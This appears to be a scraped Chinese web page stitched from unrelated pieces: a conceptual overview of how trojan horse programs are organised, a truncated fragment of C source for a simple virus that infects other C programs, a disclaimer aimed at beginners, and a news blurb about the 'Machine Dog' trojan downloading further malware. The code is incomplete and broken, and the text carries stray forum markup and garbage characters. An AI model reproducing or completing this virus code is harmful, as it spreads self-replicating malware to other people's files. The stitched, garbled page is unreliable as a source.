最简单的木马 源代码以及解释
一个完整的木马系统由硬件部分，软件部分和具体连接部分组成。
(1)硬件部分：建立木马连接所必须的硬件实体。 控制端：对服务端进行远程控制的一方。 服务端：被控制端远程控制的一方。 INTERNET：控制端对服务端进行远程控制，数据传输的网络载体。
(2)软件部分：实现远程控制所必须的软件程序。 控制端程序：控制端用以远程控制服务端的程序。 木马程序：潜入服务端内部，获取其操作权限的程序。 木马配置程序：设置木马程序的端口号，触发条件，木马名称等，使其在服务端藏得更隐蔽的程序。
(3)具体连接部分：通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP，服务端IP：即控制端，服务端的网络地址，也是木马进行数据传输的目的地。 控制端端口，木马端口：即控制端，服务端的数据入口，通过这个入口，数据可直达控制端程序或木马 程序。

while(p!=NULL)

if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else

fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(ffblk);
}
return 0;
}
严重声明：这个程序只是供C语言新手参考，开玩笑没关系，但如果用来做不法的事情，本人概不负责。还有，编病毒、木马去做违法的事情惩罚是很重的，你如果想学编程，编个简单的就好了，否则后果很严重。
机器狗木马三代病毒源代码
机器狗木马三代是机器狗木马的最新变种，从五一假期开始处于爆发趋势，至今愈演愈烈，[b][color=red]截至目前已有百万电脑中招[/color][/b]。360安全中心再次紧急更新360顽固木马专杀大全，全面围剿机器狗木马三代。（360顽固木马专杀大全下载地址：[url=][color=#0044dd][/color][/url]）KE|.C|(Z+^

感染后的系统文件会自动后台访问木马网站，下载一个TXT文本文件，并根据文件里的配置下载相关木马。从这个角度上来讲，这个新变种的机器狗也承担了一部分的“木马运输”工作，成为其他木马的渠道，以便以此获利。
